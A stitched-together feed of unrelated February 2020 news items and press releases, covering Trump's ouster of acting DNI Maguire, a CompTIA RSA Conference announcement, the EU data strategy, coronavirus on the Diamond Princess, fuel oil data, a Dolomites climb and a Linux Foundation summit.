into the rest of the country. That will take many years. But the alternative is the Taliban back in power and quite possibly letting all manner of other radical jihadist groups intent on attacking the west base themselves there. U.S. President Donald Trump, left, and Russia's President Vladimir Putin give a joint news conference following their meeting at the Presidential Palace in Helsinki, Finland, on July 16, 2018. Read more A senior U.S. intelligence official told lawmakers last week that Russia wants to see President Donald Trump reelected, viewing his administration as more favorable to the Kremlin's interests, according to people who were briefed on the comments. After learning of that analysis, which was provided to House lawmakers in a classified hearing, Trump erupted at his acting director of national intelligence, Joseph Maguire, in the Oval Office, perceiving him and his staff as disloyal for speaking to Congress about Russia's perceived preference. The intelligence official's analysis and Trump's furious response ruined Maguire's chances of becoming the permanent intelligence chief, according to people familiar with the matter, who, like others, spoke on the condition of anonymity to discuss a sensitive matter. It was not clear what specific steps, if any, U.S. intelligence officials think Russia may have taken to help Trump, according to the individuals. Trump announced on Wednesday that he was replacing Maguire with a vocal loyalist, Richard Grenell, who is the U.S. ambassador to Germany. The shake-up at the top of the intelligence community is the latest in a post-impeachment purge. Trump has instructed aides to identify and remove officials across the government who aren't defending his interests, and he wants them replaced with loyalists. Maguire, a career official who is respected by the intelligence rank and file, had been considered a leading candidate to be nominated for the post of DNI, White House aides had said. But Trump's opinion shifted last week when he heard from a GOP ally about the official's remarks. The official, Shelby Pierson, said several times during the briefing that Russia had "developed a preference" for Trump, according to a U.S. official familiar with her comments. That conclusion was part of a broader discussion on election security that also touched on when the U.S. government should warn Democratic candidates that they were being targeted by foreign governments. The New York Times first reported on the conclusion Russia wants to help the president in 2020. Trump erroneously believed that Pierson had given the assessment exclusively to Rep. Adam Schiff, D-Calif., the committee chairman, people familiar with the matter said. Trump also believed that the information would be helpful to Democrats if it were released publicly, the peoplesaid. Schiff was the lead impeachment manager, or prosecutor, during Trump's Senate trial on charges of abuse of power and obstruction of Congress. Trump learned about Pierson's remarks from Rep. Devin Nunes, R-Calif., the committee's ranking member and a staunch Trump ally, said one person familiar with the matter. Trump's suspicions of the intelligence community have often been fueled by Nunes, who was with the president in California Wednesday when he announced on Twitter that Grenell would become the acting director, officials said. A spokesman for Nunes did not respond to requests for comment. "Members on both sides participated, including ranking member Nunes, and heard the exact same briefing from experts across the intelligence community," the committee official said. "No special or separate briefing was provided to one side or to any single member, including the chairman." The briefing, which was offered to all members of the committee, covered "election security and foreign interference in the run-up to the 2020 election," said the committee official. Other people familiar with the briefing described it as a contentious re-litigating of a previous intelligence assessment that Russia interfered in 2016 to help Trump. Republican members questioned why the Russians would want to help Trump when he has levied punishing sanctions on the country, and they challenged Pierson to back up her claim with evidence. It's unclear how she responded. Republicans on the committee also accused some of the briefers from other agencies of being part of an effort to sabotage Trump's reelection, these people said. Trump became angry with Maguire and blamed him for Pierson's remarks when the two met the next day during a special briefing for Trump on election security attended by officials from other agencies, but not Pierson. At that briefing, Trump angrily asked Maguire why he had to learn of what Pierson had said from Nunes and not from his own aides, according to the U.S. official. "There was a dressing down" of Maguire, said another individual, who, like others, spoke on the condition of anonymity to discuss a sensitive matter. "That was the catalyst" that led to the sidelining of Maguire in favor of Grenell, the person said. Maguire came away "despondent," said another individual. A spokeswoman for the Office of the Director of National Intelligence declined to comment. The White House did not comment on Trump's Oval Office comments to Maguire. Trump's removal of Maguire exacerbated long-standing tensions between intelligence officials and the president. Intelligence leaders have long been some of Trump's favorite targets on Twitter and at campaign rallies, where he portrays them as members of a "deep state" bent on sabotaging his reelection. But officials at the agencies insist they have carried on the tradition of providing the president and his top aides with unvarnished information not infected by politics or policy agendas. Grenell has no lengthy intelligence experience. But his history of pro-Trump tweets and his personal relationships with Trump's children has caused current and former officials to doubt whether he could credibly serve as the country's top intelligence official, which they said Maguire did, despite having spent his career in the military. White House officials said that Trump's decision to make Grenell the acting director, rather than nominate him for the permanent position, reflected concerns that he might not win confirmation in the Senate given his polarizing reputation. "The president likes acting [officials] better," one White House official said. On Thursday, Grenell said in a tweet that the president would nominate a permanent DNI "soon" and that it would not be him. A senior White House official said a nominee would be announced before March 11. The president has been focused lately on officials who are allegedly disloyal to him, particularly at the Justice Department, the National Security Council, the Pentagon and the State Department, aides said, and has heard from outside advisers that "real MAGA people can't get jobs in the administration," in the words of an administration official, referring to Trump's 2016 campaign slogan, "Make America Great Again." Trump has centralized his efforts to purge the ranks of his perceived opponents. In recent weeks, he pushed out Sean Doocey, the head of the White House Presidential Personnel Office, over the fierce objections of some White House aides, replacing him with Johnny McEntee, Trump's former personal assistant. Trump has instructed McEntee, who lost his job in 2018 over concerns about his online gambling, to install more loyalists in government positions. Some of those removed from their jobs testified about the president's actions toward Ukraine during his impeachment hearings. Trump removed Lt. Col. Alexander Vindman, as well as Vindman's twin brother, who did not testify, from their positions at the National Security Council. Alexander Vindman witnessed a phone call Trump had with Ukraine's president, in which he pressured the leader to conduct investigations of Trump's Democratic rivals. Trump asked for the resignation of Gordon Sondland, the ambassador to the European Union, who told House lawmakers that the president had engineered a quid pro quo with Ukraine, conditioning a White House meeting with the country's president on investigations of former vice president Joe Biden and his son Hunter. This week, Trump also asked for the resignation of John C. Rood, the official in charge of Defense Department policy who had certified that Ukraine had met its anti-corruption obligations required by law to receive U.S. aid that Trump froze. The deputy national security adviser, Victoria Coates, has also been removed from her post after some colleagues, including trade adviser Peter Navarro, accused her of being the author of "Anonymous," a scathing account of dysfunction in the White House, according to people familiar with the matter. Coates has strenuously denied the charge. She was moved to an adviser position in the Energy Department. By contrast, Grenell appears to be an ideal presidential appointee. Trump appreciates that he publicly bashes Germany over policy disagreements. he also defends the president on Fox News and on Twitter, and when he visits the White House for meetings, Trump usually wants to see him, current and former administration officials say. As acting DNI, Grenell would oversee the intelligence community's efforts to combat election interference and disinformation, but he has been skeptical of Russia's role in 2016. Russian or Russian-approved tactics like cyber warfare and campaigns of misinformation have been happening for decades, he wrote in a 2016 opinion article for Fox News, playing down the severity of the threat. That view is at odds with the conclusions of senior U.S. intelligence officials, who have said Russias operation in 2016 was sweeping and systematic, and unlike previous Russian or Soviet efforts. There was a knock on the door: a different kind of knock. Not the usual courier-driver knock: that loud impatient CLONK CLONK, quick, Im carrying 300 kilos of online clothes that youve been eagerly waiting for, all of which youll be returning first thing tomorrow morning. Hurry, open the %$#@ door!. Not the familiar salesperson-knock: that timid tired TAPPITY-TAP, I am a poorly-commissioned Belgian backpacker flogging a dodgy eco-lightbulb scheme that nobodys heard of, slam the door in my face, I dont mind, Ill be back tomorrow with chimney-balloons. The moment he stepped into the house, Jeff got emotional. This was a friendly, old-fashioned KNOCKA KNOCKA, and I thought, hmmm, whys a friend popping around in the middle of a working day? And when has a friend ever popped round on any day? Intrigued, I opened the door and a stranger was standing there: not a friend, not a courier, not a dodgy salesperson with an I.D. made from clingwrap and staples. Just a pleasant-looking older man, maybe in his 70s. He said, Hi, my names Jeff and I was just driving past so I thought Id see if anyone was home. I actually used to live in this house when I was a kid in the 1940s and I have lots of happy memories here. I said, Well, why dont you come inside and have a look around! Please, Jeff, I insist! While in my head, I thought, Hes a burglar for sure. This is his home-entry ploy. Hell come inside and rob me. Maybe kill me and drag my body out to his car then bury me in rural woodlands. But you know what? Its an ingenious ploy. Hes earned it. Loading The moment he stepped into the house, Jeff got emotional. He peeked into the living room and said, Hey, thats where we had the piano! ... thats the corner where dad used to sit! ... those are the windows we blacked out during the war! And I listened and nodded and smiled, but in my head, I was thinking, Danny, you left your wallet on the coffee table ... just casually walk over and nudge it behind the vase ... quick, before he sees it! Jeff wandered around the house for 10 minutes, then he said, If its not asking too much, could I bring my two sisters around sometime next week? Theyd love to share this experience. And I said, Of course, Jeff! Bring your sisters! I insist! But in my head I was thinking, Ahhhh, he needs help carrying my body to the car. Hes got a criminal syndicate. Impressive! [February 21, 2020] CompTIA Focuses on the Human Element in Cybersecurity at RSA Conference 2020 DOWNERS GROVE, Ill., Feb. 21, 2020 /PRNewswire/ -- CompTIA, the leading trade association for the global information technology (IT) industry, will stress the critical importance of the human element in cybersecurity when it exhibits next week at the RSA Conference 2020, the world's leading information security conference and exposition. CompTIA is exhibiting in Booth #3108 throughout the conference, which runs from February 24 through 28 at the Moscone Center in San Francisco. "We plan to emphasize the critical nature of the human element in building strong organizational cyber defenses," said Dr. James Stanger, chief technology evangelist at CompTIA. "Human error remains the leading cause of security incidents, yet too many companies continue to come up short in educating and training their employees in the best cybersecurity practices. We're taking steps in our educational offerings, with new learning options and hand-on training, to move the needle in this area in ways that no other education provider has tried." Only 44% of companies feel that their business staff have an ideal level of security expertise, according to CompTIA's latest security research.1 This despite the fact that 75% of companies provide cybersecurity training for their general workforce. More education, training and professional certification among IT staff is needed as well, according to Stanger, especially as businesses recognize that cybersecurity should be treated as a dedicated, separate focus rather than one of many components in an IT strategy. At RSA 2020 CompTIA will highlight its suite of four cybersecurity certifications for technology professionals: CompTIA Security+, which validates the baseline skills needed to perform core security functions and pursue an IT security career; CompTIA Cybersecurity Analyst (CySA+), which applies behavioral analytics to networks and devices to prevent, detect and combat cybersecurity threats; CompTIA PenTest+, for cybersecurity professionals tasked with penetration testing and vulnerability management; and CompTIA Advanced Security Practitioner (CASP+), intended for technical professionals who wish to remain immersed in technology as opposed to strictly managing. CompTIA's Federal Cybersecurity Advocacy practice will attend RSA alongside in-country cybersecurity experts from Australia, Colombia, Denmark, Mexico, Taiwan and Vietnam to discuss current challenges and opportunities. CompTIA will meet with key U.S. policymakers to discuss ongoing initiatives on IoT security and data protection, among other topics. RSA attendees are invited to stop by the CompTIA booth (#3108) to: Learn about the new CompTIA Cybersecurity Pathway. Discuss CompTIA research about the ideal learning tools and methods for every generation of IT professional in the workforce. Test-drive CompTIA CertMaster learning products, with options available for wherever you are in your certification xam preparation journey. Engage through mini-sessions and demos on cybersecurity tools and techniques. Scan your conference badge to enter our certification exam voucher raffle. Join us during the Welcome Reception on Monday night for a meet-and-greet and a chance to pick up some fun swag. Join us for Security Jeopardy throughout the week with fun giveaways. Speak with James on Wednesday, Feb. 26 , as he broadcasts from the RSA floor. , as he broadcasts from the RSA floor. On Student Day at RSA learn more about the CompTIA Instructor Network and CompTIA student memberships. We'll also raffle off some fun items for students like Raspberry Pi computers and study guides. Do you have a CompTIA certification or are you curious about our certifications and training? Stop by our booth #3108 and tell us about your experience or learn all about how CompTIA certifications help ensure your IT staff has the validated skills necessary to protect your organization. Visit https://www.comptia.org/blog/event-join-comptia-at-rsa for more information. About CompTIA The Computing Technology Industry Association (CompTIA) is a leading voice and advocate for the $5.2 trillion global information technology ecosystem; and the estimated 75 million industry and tech professionals who design, implement, manage, and safeguard the technology that powers the world's economy. Through education, training, certifications, advocacy, philanthropy, and market research, CompTIA is the hub for advancing the tech industry and its workforce. CompTIA is the global leader in vendor-neutral technical certifications in skills ranging from IT support and networking, to cybersecurity and cloud computing. More than 2.6 million CompTIA certifications have been awarded to technology professionals around the world. Operating in more than 100 countries, CompTIA works closely with thousands of academic, training and content partners to ensure students and professionals have the tools they need to enter and excel in the tech workforce. Visit www.comptia.org to learn more. Contact: Steven Ostrowski CompTIA 630-678-8468 [email protected] 1 CompTIA, Cybersecurity for Digital Operations, September 2019 https://www.comptia.org/content/research/cybersecurity-for-digital-operations View original content to download multimedia:http://www.prnewswire.com/news-releases/comptia-focuses-on-the-human-element-in-cybersecurity-at-rsa-conference-2020-301009162.html SOURCE CompTIA [ Back To TMCnet.com's Homepage ] * EU Commissioner Breton to unveil data strategy on Feb. 19 * Breton says Europe can be global leader of industrial data * Breton to announce strict rules, investment By Michel Rose PARIS, Feb 15 (Reuters) - Europe may have lost the battle to create digital champions capable of taking on U.S. and Chinese companies harvesting personal data, but it can win the war of industrial data, Europe's industry policy chief said on Saturday. Vast troves of data from how fast we drive our cars to how much time a robot needs to churn out products in factories have yet to be fully exploited, said Thierry Breton, the European Commissioner in charge of the EU single market. Alarmed by the dominance of U.S. and Chinese tech companies such as Google, Amazon or Huawei, the EU is leaving behind the "laissez-faire" attitude of the early 2000s and ratcheting up regulatory pressure to protect its businesses. The new approach will be on display on Wednesday when Breton unveils the bloc's new data and artificial intelligence strategy. "We're entering a new phase. The battle for industrial data starts now, and the main battlefield will be Europe," Breton, a former French finance minister, told Reuters in an interview. Breton said the EU had a unique opportunity to win the next phase of the digital revolution centered on the harvesting, management and analysis of data from industrial fields such as factories, transport, energy and healthcare. "Europe is the world's top industrial continent. The United States have lost much of their industrial know-how in the last phase of globalisation. They have to gradually rebuild it. China has added-value handicaps it is correcting," Breton said. "But the bulk of the industrial value chain, from large groups to SMEs, is based in Europe today. That's why all eyes are on Europe right now," he added. "NOT NAIVE" Breton, a former CEO of French IT giant Atos and telecoms group Orange, said the European Commission will unveil a three-pronged approach on Wednesday, consisting of strict rules, investing in infrastructure and unrolling a sector-specific approach. Story continues Reuters exclusively reported on Jan 29 a 25-page draft document outlining the measures to create a single market in data, that could still be tweaked ahead of the Feb. 19 presentation. It will include an array of new rules covering cross-border data use, data interoperability and standards related to manufacturing, climate change, the auto industry, healthcare, financial services, agriculture and energy. Other rules in the coming months will open up public data on geospatial, the environment, meteorology, statistics and corporate data across the bloc for companies to use for free. The document also proposes scrapping competition rules which hinder data sharing and possibly introducing rules to prevent large online platforms from unilaterally imposing conditions for access. On Saturday, Breton insisted on the urgency of the task ahead. "Europe is not naive, it can very well see what's going on. That's why we have to organise ourselves now, including when it comes to the deployment of the first 5G networks," he said. (Reporting by Michel Rose; Editing by Christina Fincher) Shiv Sena leader Sanjay Raut on Friday accused the All India Majlis-e-Ittehad-ul-Muslimeen (AIMIM) of repeatedly misleading Indian Muslims and trying to poison their minds. His statement comes in the wake of AIMIM leader Waris Pathan's alleged '15 crore Muslims can be heavy on 100 crore' remark he recently made in Karnataka. "Who has given you the right to become leader of Muslims in the country?" Raut told reporters in Delhi. "The Shiv Sena is in power in Maharashtra and hence it is exercising restraint," he added. "What is your stature in Maharashtra? The state's Muslims are with the MVA government. AIMIM is repeatedly misleading Indian Muslims and trying to poison their minds. If such comments are repeated, Shiv Sena will respond in the same language," Raut said. NCP spokesman and Maharashtra Minority Affairs Minister Nawab Malik condemned Pathan's remarks. "We condemn Pathan's divisive and inflammatory comments. Is there a fixed match between AIMIM and BJP for making communal remarks?" he said. Congress spokesperson Sachin Sawant also slammed Pathan over his remarks and said, "AIMIM and BJP are two sides of the same coin. AIMIM is pushing the agenda of communal polarisation at BJP's instance." Pathan had purportedly made the remarks while addressing an anti-Citizenship (Amendment) Act (CAA) rally at Kalaburagi in North Karnataka on February 16. "Now time has come, we are told that we have sent our mothers and sisters in the front and were sitting covered in blanket...only our lionesses have come out and you are already sweating, understand what will happen if we come together. (We may be) 15 crore, but are heavy on 100 (crore), remember it," Pathan can be purportedly heard saying. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) First-of-its-kind data in Ascensia's first ever oral presentation at ATTD, highlights the importance of meter selection for diabetes management apps by assessing accuracy at low blood glucose ranges MADRID, Feb. 21, 2020 /PRNewswire/ -- Today, at the International Conference on Advanced Technologies & Treatments for Diabetes (ATTD) 2020, Ascensia presented data from a study that assessed the performance of blood glucose monitoring systems (BGMSs) when used with mobile applications (apps) for diabetes management1. At the event, data from Ascensia's first ever oral presentation highlighted the challenges of hypoglycemia management using apps and demonstrated that not all BGMSs using apps are capable of detecting hypoglycemia with a high probability, which has the potential to make them less effective in supporting glycemic control. ATTD 2020 is taking place in Madrid, Spain from February 19-22, 2020. Apps for type 1 and type 2 diabetes management often rely on data from glucose monitoring devices, such as BGMSs. These apps are designed to provide support that can help to reduce the occurrence of hypoglycemia and enable more effective glycemic control. Therefore, the performance of these apps in hypoglycemia management is dependent on the quality and accuracy of the data from the BGMSs, particularly in the low blood glucose range (LBGR: =70 mg/dl). The Ascensia sponsored study presented at ATTD used a statistical model applied to real BGMS data to calculate the probability of achieving 15% of a reference blood glucose (BG) value of 50 mg/dl for a variety of available BGMSs that can link to apps for diabetes management1. The BGMSs included were CONTOURNEXT ONE (CNO), Accu-Chek Aviva Connect, FreeStyle Freedom Lite, GlucoMen Areo and OneTouch Verio. The study demonstrated that not all systems were capable of detecting hypoglycemia with a high probability. Based on this analysis in the LBGR, the probability of achieving 15% of the reference BG value of 50 mg/dl for CNO was above 95%, whereas it was below 95% for some of the other BGMSs studied. Specifically, CNO's predicted BG value was 50.74mg/dL, with a 95% confidence interval of 3.25 mg/dL. This analysis shows that BGMS selection is critical in assessing the effectiveness of apps for glycemic control and hypoglycemia detection. These results follow two recent studies that demonstrate the accuracy of products in the CONTOUR portfolio in the LBGR, which are also being presented as posters at ATTD 20202,3. These two studies also used data from clinical trials applied to a linear regression model to calculate the likelihood of accurate BGMS performance in the LBGR. These assessments showed that the CNO, CONTOURPLUS (CP) and CONTOURPLUS ONE (CPO) BGMSs maintained high levels of accuracy in the LGBR, which is important for safe and effective diabetes management. The probability of having results within 15% of the reference BG values was >95% for all three systems, and was in contrast to other systems included in these studies. Together, the results of these studies highlight the importance of selecting a highly accurate BGMS in order to enable effective diabetes management through an app and demonstrate the high levels of accuracy of the three BGMSs from the CONTOUR range in the LBGR. James Richardson, Medical Lead BGM - Mature Markets at Ascensia Diabetes Care, said: "It's a privilege to be invited to present these important findings to the diabetes community at ATTD 2020, which is a first for Ascensia. We believe these studies are of great clinical importance to people with diabetes, as the results show that accurate blood glucose data is critical for effective use of diabetes management apps." Sabina Furber, M.D., Chief Medical Officer at Ascensia Diabetes Care, added: "These findings demonstrate the importance of the accuracy of blood glucose monitoring systems in the low blood glucose range where the risks to health are the highest and the impact of accuracy on the effectiveness of diabetes management apps. We want to be at the forefront of scientific excellence in assessing the quality of diabetes devices and digital solutions. These data further validate the accuracy of Ascensia's world-renowned CONTOUR product portfolio, which many people depend upon to manage their diabetes." References Richardson J. et al., Challenges of Hypoglycemia management using mobile applications. Poster presented at International Conference on Advanced Technologies & Treatments for Diabetes, Madrid, Spain , 2020. Stuhr A. et al., Accuracy of CONTOURNEXT ONE BGMS in low blood glucose range using probability methodology. Poster presented at International Conference on Advanced Technologies & Treatments for Diabetes, Madrid, Spain , 2020. Shaginian R. et al., Blood glucose monitoring systems' performance in low blood glucose range and its clinical implications. Poster presented at International Conference on Advanced Technologies & Treatments for Diabetes, Madrid, Spain , 2020. Logo: https://mma.prnewswire.com/media/749389/Ascensia_Diabetes_Care_Logo.jpg Alvaro Lafuente and Mirco Grasso on 16/02/2020 while making the first ascent of Apus up Rocchetta Alta di Bosconero in the Zoldo Dolomites Photo by Mirco Grasso, Alvaro Lafuente Apus added to Rocchetta Alta di Bosconero in Zoldo Dolomites Winter mountaineering in the Zoldo Dolomites: on Rocchetta Alta di Bosconero the mountaineers Mirco Grasso and Alvaro Lafuente have made the first ascent of Apus, a mixed route that shares the first 5 pitches of Madre Tierra then ascends an evident gully all the way to the summit. Grasso reports Rocchetta Alta di Bosconero is on fire! So to speak. At present the who rock bastion in the heart of the Zoldo Dolomites is in ideal winter conditions and Madre Tierra, the mixed climb recently established by Santiago Padros and Diego Toigo, is fast becoming a modern "classic". Mirco Grasso, during the first repeat carried out with Matteo Furlan, noticed that the mountain held more in store and he returned on 16 February with Alvaro Lafuente from Spain. Instead of traversing off left at the top of the fifth pitch of Madre Tierra, they duo continued straight up via a logical gully to the summit. The new route is called Apus, is described as a "beautiful alpine outing over 800m high" and breaches difficulties up to M6+, AI5, V. Rocchetta Alta di Bosconero on fire! by Mirco Grasso While looking at the photo of Rocchetta Alta di Bosconero and the line of Madre Tierra, I noticed another system of ice gullies that led all the way to the summit. I simply had to go and check them out! After the usual scouting around for a partner, it turned out that a friend of Santi called Alvarohad just arrived from Spain that evening and was free the next day. I got in touch and basically suggested he climb a mountain hed never seen before with a complete stranger,. Completely psyched he accepted, perfect! We did the usually approach from the Bosconero hut, by now I knew what lay in store and we quickly reached the base of Madre Tierra. During the approach I realised that conditions were far better than theyd been two weeks earlier. We quickly climbed the first five pitches, then we followed the obvious gully directly above us, instead of traversing left as the other route does. The good conditions enabled us to climb fast and enjoy the route, we always managed to find good rock pro and some pitches turned out to be really interesting! We only left a few pegs insitu at the belays of the two crux pitches, all the rest can be protected easily with Friends. I have to admit Id never considered this mountain in winter, yet in the last two weeks Ive climbed it twice! We prepared the abseils and soon joined the same descent as Mother Tierra, meeting the other teams that were climbing it that day, then we headed quickly down to celebrate! In some religions and mythology of South America, the Apu are the spirits of the mountains. APUS for its part is a beautiful alpine outing, in the heart of Rocchetta Alta Bosconero! A small note: in our topo weve also marked the grades of the first pitches of Madre Tierra. These are slightly different from the original grades as conditions were considerably different. by Mirco Grasso TOPO: APUS, Rocchetta Alta di Bosconero, Zoldo Dolomites Mirco Grasso thanks Karpos SINGAPORE, Feb 20 (Reuters) - Singapore's residual fuel oil inventories jumped 10% to their highest in more than nine months, in the week ended Feb. 19, despite plummeting net import volumes, in the latest sign of sluggish bunker demand in the city-state, official data showed on Thursday. - Onshore fuel oil stocks jumped by 2.169 million barrels (about 342,000 tonnes) to 24.231 million barrels, or 3.816 million tonnes from the previous week, data from Enterprise Singapore showed. - This came despite net import volumes falling to a nearly five-month low of 364,000 tonnes, down 54% from the previous week and well below the 2020 weekly average of 877,000 tonnes. Weekly figures, however, are volatile. - Residual fuel stocks were 18% higher, compared with a year-ago period. - Demand for Singapore bunkers has fallen this month, weighed down by seasonally weaker demand during the Chinese Lunar New Year holidays that has been compounded by slowing shipping activity as a result of the spread of the coronavirus. - A.P. Moller-Maersk, world's biggest container shipping firm, said on Thursday the coronavirus outbreak would weigh on earnings this year and it expected a weak start to the year because factories in China were closed for longer than usual after the Chinese New Year holiday. - Singapore's fuel oil net exports to Hong Kong topped the list for the week at 99,000 tonnes, followed by South Korea with 96,000 tonnes, India with 66,000 tonnes and the Philippines with 44,000 tonnes. - The largest net imports into Singapore were Malaysia's 202,000 tonnes, followed by Russia with 175,000 tonnes, Belgium with 98,000 tonnes and Brazil with 83,000 tonnes. - Weekly imports from Russia were at five-week high. - Separately, fuel oil inventories stored in floating storage around the Singapore hub slipped 1% to 4.496 million tonnes, in the week ended Wednesday, of which low-sulphur fuel oil volumes were at 3.917 million tonnes, up by 2% from the previous week, according to data intelligence firm Kpler. Feb 19 Total Imports Total Net Exports Imports Fuel oil (in ALGERIA 65,769 0 65,769 tonnes) BANGLADESH 0 30,042 -30,042 BELGIUM 97,925 0 97,925 BRAZIL 83,257 0 83,257 CHINA 0 38,004 -38,004 HONG KONG 0 98,707 -98,707 INDIA 0 65,533 -65,533 IRAQ 49,777 0 49,777 KOREA, REP OF 0 96,443 -96,443 MALAYSIA 349,651 147,419 202,231 MYANMAR 0 0 0 PHILIPPINES 0 43,609 -43,609 RUSSIA 174,764 0 174,764 THAILAND 20,992 50,700 -29,708 UNITED ARAB EMIRATES 52,248 0 52,248 UNITED STATES 40,530 0 40,530 TOTAL 934,912 570,455 364,457 (Reporting by Roslan Khasawneh; Editing by Sherry Jacob-Phillips) The condition of eight Indians, who were on board the cruise ship off the Japanese coast and undergoing treatment for the deadly coronavirus, is improving as the last batch of healthy passengers was set to disembark the vessel on Friday after the quarantine period ended. The ship, Diamond Princess, docked at the Yokohama port, near Tokyo, on February 3 with 3,711 passengers and crew on board. It was quarantined after a passenger who disembarked last month in Hong Kong was found to be the carrier of the disease. A total of 138 Indians, including 132 crew and 6 passengers, were among the 3,711 people on board the ship. The Indian embassy said in a tweet that no additional Indian national on board the ship has tested positive for the virus since Thursday. "Conditions of 8 Indians receiving treatment are improving," it tweeted on Friday. The Indian mission said it was coordinating with the Japanese authorities and ship management company for safe return of the Indians. According to an AP report on Friday, the ship has the largest cluster of COVID-19 cases outside China. A total of 634 people tested positive of the disease. Two former passengers of the ship have also died. Health Minister Katsunobu Kato told reporters that mass disembarkation of passengers from the ship was set to end on Friday. According to a report in Japan Today newspaper, over 400 passengers from the ship were scheduled to depart on Friday. Chief Cabinet Secretary Yoshihide Suga said that over 1,000 passengers and crew will remain on board the ship after Friday's disembarkations. Some of the passengers with no infection began leaving the ship on Wednesday after the end of a two-week quarantine period that failed to stop the spread of the virus among passengers and crew. Meanwhile, the death toll in the novel coronavirus in China has gone up to 2,236 with 118 more casualties reported, mostly from the hard-hit Hubei province, while the overall confirmed infection cases have climbed to 75,465, Chinese health officials said on Friday. The virus outbreak originated in China's Hubei province in December and has spread to more than 25 countries, including India. Many countries have banned arrivals from China while major airlines have suspended flights to the country. Regulations on roaming and fixed-term contracts will be monitored by the National Media and Communications Authority (NMHH) in this years oversight plan, according to gazdasagportal.hu. As in previous years, the service providers penalty management processes will also be in focus this year. The good news is that last years EU call price reduction directive for international calls has been properly applied by domestic operators. The NMHH continuously monitors the compliance of the electronic communications and postal service providers with the applicable legislation in their operation and practice. In its annual monitoring plan, the authority has identified areas of investigation that the NMHH will focus on as a result of previous years experience, such as market developments, and complaints to the authority. This year, the NMHH will pay particular attention to whether mobile service providers comply with the EU roaming regulations charging rules, that is, informing subscribers on the rules of travel during their journey and providing them with the means to protect themselves from an unexpectedly high bill, such as through an SMS notification, gazdasagportal.hu explains. Safaricom CEO Joseph speaks during a Reuters interview in his office at their headquarters in Nairobi By Duncan Miriri NAIROBI (Reuters) - Kenya's biggest telecoms operator Safaricom will consider awarding a contract to China's Huawei as it rolls out its fifth generation (5G) network this year, its acting chief executive said on Wednesday. The United States government has been urging its European allies and others not to use Huawei, one of Safaricom's network vendors along with Nokia , citing security concerns. "We will use Huawei in 5G ... What will we do in terms of the American statements about not using Huawei? We don't have that situation in Africa," Acting CEO Michael Joseph said. Involving Huawei in Safaricom's 5G network could hamper talks on a free trade agreement between the United States and Kenya, which were announced this month, analysts said. "They would have to figure a way of working it out just the same way that the UK is trying to figure it out," said Eric Musau of Standard Investment Bank in Nairobi, after Britain said Huawei could have only a limited role in its 5G network. Joseph said Safaricom would follow guidelines from its two main shareholders, South Africa's Vodacom and Britain's Vodafone . "There is demand for more and more bandwidth, more and more speed," he said, adding that 5G services network would first be offered to customers in major cities where demand was highest. Separately, Safaricom said it planned to expand into Ethiopia, which has promised to open up the state-run telecoms industry. Two operating licenses are expected to be offered. Joseph said Safaricom was putting together a consortium for its bid, The group would include Vodacom, Vodafone, financial capital investors and other unnamed operators, he added. Joseph, who has been interim CEO since July, will hand over to full-time appointment Peter Ndegwa on April 1. (Editing by Edmund Blair) SAN FRANCISCO, Feb. 21, 2020 /PRNewswire/ -- The Linux Foundation , the nonprofit organization enabling mass innovation through open source, along with co-hosts LF Networking , the umbrella organization fostering collaboration and innovation across the entire open networking stack, and LF Edge , the umbrella organization building an open source framework for the edge, today announced initial keynote speakers for Open Networking & Edge Summit (ONES) North America 2020 . The event takes place April 20-21 in Los Angeles, California. Open Networking & Edge Summit (formerly Open Networking Summit) is the industry's premier open networking event now expanded to comprehensively cover Edge Computing, Edge Cloud and IoT. The event enables collaborative development and innovation across enterprises, service providers/telcos and cloud providers to shape the future of networking and edge computing with a deep focus on technical, architectural and business discussions in the areas of Open Networking & AI/ML-enabled use cases for 5G, IoT, Edge and Enterprise deployment, as well as targeted discussions on Edge/IoT frameworks and blueprints across Manufacturing, Retail, Oil and Gas, Transportation and Telco Edge cloud, among other key areas. Keynote speakers this year include: Andre Fuetsch , Executive Vice President & Chief Technology Officer, AT&T Services, Inc. , Executive Vice President & Chief Technology Officer, AT&T Services, Inc. Dan Kohn , Executive Director, Cloud Native Computing Foundation , Executive Director, Cloud Native Computing Foundation Alex Choi , Senior Vice President of Strategy and Technology Innovation, Deutsche Telekom AG , Senior Vice President of Strategy and Technology Innovation, Deutsche Telekom AG Farah Papaioannou , Co-Founder and President, Edgeworx, Inc. , Co-Founder and President, Edgeworx, Inc. Anders Rosengren , Head of Architecture & Technology, Ericsson , Head of Architecture & Technology, Ericsson Justin Dustzadeh, Chief Technology Officer, Equinix Aparna Sinha , Director of Product Management, Google Cloud , Director of Product Management, Google Cloud Bill Ren , Chief Open Source Liaison Officer, ICT Infrastructure Open Source GM, Huawei , Chief Open Source Liaison Officer, ICT Infrastructure Open Source GM, Huawei Marisa S. Viveros , Vice President of Strategy and Offerings, IBM , Vice President of Strategy and Offerings, IBM Ashiq Khan , Head of Cloud and NFV, Rakuten Mobile, Inc. , Head of Cloud and NFV, Rakuten Mobile, Inc. Arpit Joshipura , General Manager, Networking, Edge & IoT, The Linux Foundation , General Manager, Networking, Edge & IoT, The Linux Foundation Heather Kirksey , Vice President, Community and Ecosystem Development, The Linux Foundation Additional keynote speakers, as well as the full schedule of sessions, will be announced the first week of March. Conference Registration is $950 through March 10, 2020 with additional registration options available including $300 Hall Passes, $600 Academic Passes, and $500 Student Passes. Non-profit and group discounts are available as well; details are available on the event registration page . Members of The Linux Foundation and Linux Foundation Projects (including LFN and LF Edge) receive a 20 percent discount on all registration fees; contact [email protected] to request a member discount code. Applications for diversity and needs-based scholarships are currently being accepted; for information on eligibility and how to apply, please click here . Open Networking and Edge Summit North America 2020 is made possible thanks to Platinum Sponsors Cloud Native Computing Foundation, Ericsson, and Huawei, Gold Sponsor IBM, and Silver Sponsor Red Hat. For information on becoming an event sponsor, click here . Members of the press who would like to request a press pass to attend should contact Jill Lovato at [email protected] . Additional Resources YouTube: Why Attend Linux Foundation Events: https://youtu.be/X_rLxfmLlYY Open Networking Summit North America 2019 Event Recap: https://events.linuxfoundation.org/events/open-networking-summit-north-america-2019/ About The Linux Foundation The Linux Foundation is the organization of choice for the world's top developers and companies to build ecosystems that accelerate open technology development and industry adoption. Together with the worldwide open source community, it is solving the hardest technology problems by creating the largest shared technology investment in history. Founded in 2000, The Linux Foundation today provides tools, training and events to scale any open source project, which together deliver an economic impact not achievable by any one company. More information can be found at www.linuxfoundation.org . The Linux Foundation Events are where the world's leading technologists meet, collaborate, learn and network in order to advance innovations that support the world's largest shared technologies. The Linux Foundation has registered trademarks and uses trademarks. For a list of trademarks of The 